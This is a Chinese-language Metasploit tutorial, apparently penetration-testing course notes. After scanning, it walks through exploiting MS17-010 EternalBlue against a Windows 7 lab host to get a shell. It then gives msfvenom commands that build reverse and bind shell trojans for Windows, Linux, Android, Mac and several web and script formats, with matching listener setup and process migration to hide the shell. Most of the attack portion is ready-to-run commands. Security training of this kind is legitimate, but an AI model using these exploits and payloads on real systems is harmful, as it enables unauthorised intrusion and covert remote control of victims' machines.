Metasploit基础
1. Metasploit前置知识
1.1 MetaSploit简介
Metasploit是⼀款开源安全漏洞检测⼯具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区 冠以“可以⿊掉整个宇宙”之名的强⼤渗透测试框架。
Metasploit渗透测试框架包含3功能模块:msfconsole、msfweb、msfupdate。msfupdate⽤于软件更 新,建议使⽤前先进⾏更新,可以更新最新的漏洞库和利⽤代码。msfconsole是整个框架中最受欢迎的 模块,个⼈感觉也是功能强⼤的模块,所有的功能都可以该模块下运⾏。msfweb是Metasploit framework的web组件⽀持多⽤户,是Metasploit图形化接⼝。
msfconsole是MSF中最主要最常⽤的功能组件,使⽤集成化的使⽤⽅法,可以使⽤MSF中的所有命令和 模块,⽀持很多其它接⼝⽅式不⽀持的功能。
⾮kali环境下更新升级MSF:
msfupdate #MSF后期更新升级
kali环境下更新升级MSF:
由于kali中的Metasploit渗透测试框架是集成在系统中的,不是单独安装,不⽀持使⽤msfupdate命令更 新,更新的话需要随系统程序更新。在kali中更新MSF使⽤以下命令:
apt update # 更新安装包信息;只检查,不更新(已安装的软件包是否有可⽤的更
新,给出汇总报告)
apt upgrade # 更新已安装的软件包,不删除旧包;
apt full-upgrade # 升级包,删除旧包
使⽤上⾯命令,是在更新系统程序的同时,把MSF更新。
1.2 启动 msfconsole
⽅式1:
service postgresql start #开启 postgresql 数据库
msfconsole #启动 msfconsole
⽅式2:快捷启动命令(推荐)
msfdb run #可以同时启动 postgresql 数据库和 msf
1.3 MSF的功能模块介绍
MSF所⽤功能主要可分为这⼏个模块,每个模块都有各⾃的功能领域,形成了渗透测试的流程
模块路径:/usr/share/metasploit-framework/modules/
漏洞利⽤(exploit):/usr/share/metasploit-framework/modules/exploits
payload模块路径::/usr/share/metasploit-framework/modules/payloads
2.实战-msf端⼝扫描
2.1 Metasploit
Metasploit中也有NMAP⼯具
db_nmap sV 192.168.220.163
2.2 端⼝扫描
除了nmap外,msf⾃带了端⼝扫描模块以供使⽤。相关命令如下:
# 这些我们前⾯就学习过的TCP扫描相关内容,其他的是⼀些应⽤的扫描。
# 查看配置项msf6
use auxiliary/scanner/portscan/syn
# 查看参数设置,yes为必填参数
show options
# 设置扫描的⽬标msf6
set RHOSTS 192.168.220.163
# 设置端⼝范围使⽤逗号隔开、
set PORTS 80
show options
# 设置线程数msf6
set THREADS 20
run
参数:
运行端口扫描:
# 退出⼀下
back
2.3. SMB版本扫描
使⽤smb_version 基于SMB协议扫描版本号
use auxiliary/scanner/smb/smb_version
show options
# 注:192.168.1.56后⾯的逗号和192.168.1.180之间是有空格的
set RHOSTS 192.168.1.56, 192.168.1.180
run
扫描后获取的信息都会保存到当前数据库中,可使⽤hosts查看,相关命令如下:
hosts
3. 实战-使⽤msf渗透攻击ms17-010
环境
Windows7 IP:192.168.197.140
Linux KALI IP:192.168.197.135
3.1 使⽤辅助模块进⾏漏洞扫描
─# msfdb run #进⼊msf
msf6 > search ms17_010
使⽤模块,进⾏配置
msf6 > use auxiliary/scanner/smb/smb_ms17_010 # 使⽤模块或者使⽤use 1
show options # 查看配置
set rhost 192.168.197.140 # 配置rhosts 受害者IP地址
Required栏为yes的是我们需要配置的,no是可选项
执⾏ / 开始攻击
exploit #或者run命令执⾏攻击
注:有+号的就是可能存在漏洞的主机
3.2 切换Exploit模块进行利用
serach ms17_010 # 搜索模块
use exploit/windows/smb/ms17_010_eternalblue # 使⽤攻击模块
show options # 查看配置
set rhosts 192.168.197.140 # 设置受害者IP
set lhost 192.168.197.135 #设置反弹ip 攻击机的IP默认指定就不用配置
show targets #查看 exploit target ⽬标类型
run
getuid 查看权限
shell 进⼊终端
成功利⽤
解决中文乱码
chcp 65001
4.实战-利用msfvenom生成各种木马
4.1. Msfvenom常⽤命令参数
主要使⽤的是Msfvenom,这个需要在终端中执⾏,⽽不是在msf⾥⾯执⾏,msfvenom主要⽤于⽣成⽊⻢
-l, --list <type> 列出指定模块的所有可⽤资源. 模块类型包括: payloads, encoders,nops,......all
-p, --payload < payload> 指定需要使⽤的payload(攻击荷载)。也可以使⽤⾃定义payload,⼏乎是⽀持全平台的
-f, --format < format> 指定输出格式
-e, --encoder <encoder> 指定需要使⽤的encoder(编码器),指定需要使⽤的编码,如果既没⽤-e选项也没⽤-b选项,则输出raw payload
-a, --arch < architecture> 指定payload的⽬标架构,例如x86 还是 x64 还是 x86_64
-o, --out < path> 指定创建好的payload的存放位置
-b, --bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使⽤ '\x0f'、'\x00'
-n, --nopsled < length> 为payload预先指定⼀个NOP滑动⻓度
-s, --space < length> 设定有效攻击荷载的最⼤⻓度,就是⽂件⼤⼩
-i, --iterations < count> 指定payload的编码次数
-c, --add-code < path> 指定⼀个附加的win32 shellcode⽂件
-x, --template < path> 指定⼀个⾃定义的可执⾏⽂件作为模板,并将payload嵌⼊其中
-k, --keep 保护模板程序的动作,注⼊的payload作为⼀个新的进程运⾏
-v, --var-name < value> 指定⼀个⾃定义的变量,以确定输出格式
-t, --timeout <second> 从stdin读取有效负载时等待的秒数(默认为30,0表示禁⽤)
-h,--help 查看帮助选项
--platform < platform> 指定payload的⽬标平台
4.2 生成windows的反弹shell程序
kali⽣成⽊⻢
修改lhost 为kali攻击机的ip,lport 为kali攻击机的端⼝。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.197.135 lport=4444 -f exe >rsec.exe
#下载
sz rsec.exe
kali攻击机开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp #设置payload类型,与msfvenom中的类型要⼀致。
set lhost 192.168.197.135 #设置主机地址
set lport 4444 #设置端⼝号
run
对⽅执⾏程序之后就会把shell反弹过来
4.3. 生成windows的正向shell
生成
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f exe > bind_4444.exe
下载到靶机或者拖到靶机里面
sz bind_4444.exe
开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp #设置payload类型,与msfvenom中的类型要⼀致。
set lport 4444
set rhost 192.168.197.140 #设置靶机ip
set autorunscript migrate -n explorer.exe #设置⾃动迁移进程,这样在进程⾥⾯就找不到shell的进程了,将进程迁移到桌⾯进程⾥⾯
run
4.4 生成linux正向、反向木马
1)linux反向
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.197.135 LPORT=4444 -f elf > shell.elf
生成后放到靶机里
监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp #设置payload类型,与msfvenom中的类型要⼀致。
set lhost 192.168.220.141 #设置主机地址
set lport 4444 #设置端⼝号
run #开启监听
2)linux正向
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf > shell4444.elf
生成后放到靶机里
在靶机给木马加执行权限
chmod +x shell.elf
执行后查看是否开启4444端口
netstat -pantu |grep 4444
监听
use exploit/multi/handler
#设置payload类型,与msfvenom中的类型要⼀致。
set payload linux/x86/meterpreter/bind_tcp
set lport 4444
#设置靶机ip
set rhost 192.168.197.141
#设置⾃动迁移进程,这样在进程⾥⾯就找不到shell的进程了,将进程迁移到桌⾯进程⾥⾯
set autorunscript migrate -n explorer.exe
#执行
run
PS:监听不到把防火墙关了即可
4.5.安卓⻢
实验环境安卓7,且⽬前的安卓11以上⽆法直接安装。
V7.0.1.5版本介绍 | 夜神模拟器帮助中心 (yeshen.com)
V7.0.1.5版本整合了安卓9(64位)、安卓7(64位)、安卓7以及安卓5,玩家只需要下载V7.0.1.5版本,即可从多开器中创建任意版本。
⽣成反向安卓⻢
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.197.135 lport=5555 R > /root/apk.apk
上传到模拟器
监听
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.197.135
set LPORT 5555
4.6. Payload类型
当我们在Metasploit中执⾏ show payloads 命令之后,它会给我们显示⼀个可使⽤的Payload列表:
⼏种常⻅的payload:
windows/meterpreter/bind_tcp #正向连接
windows/meterpreter/reverse_tcp #反向连接,常⽤
windows/meterpreter/reverse_http #通过监听80端⼝反向连接
windows/meterpreter/reverse_https #通过监听443端⼝反向连接
linux/x86/meterpreter/bind_tcp #正向连接
linux/x86/meterpreter/reverse_tcp #反向连接,常⽤#
linux/x86/meterpreter_reverse_http #通过监听80端⼝反向连接
linux/x86/meterpreter_reverse_https #通过监听443端⼝反向连接
进⼊handler模块后通过set payload 按tab键补⻬可以查看需要的payload
use exploit/multi/handler
set payload linux/x86/
5. msfvenom常⻅⽣成格式
1、 Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.141 lport=4444 -f exe >rsec.exe
2、Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f elf > shell.elf
3、Mac
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
4、Android
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
5、Aspx
msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
6、JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
7、PHP
msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
8、BASH
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
9、Python
msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py
10、Shellcode
//linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=444
4 --platform Linux -f c
//windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -
-platform Windows -f c
//mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.53 LPORT=4444 --plat
form osx -f c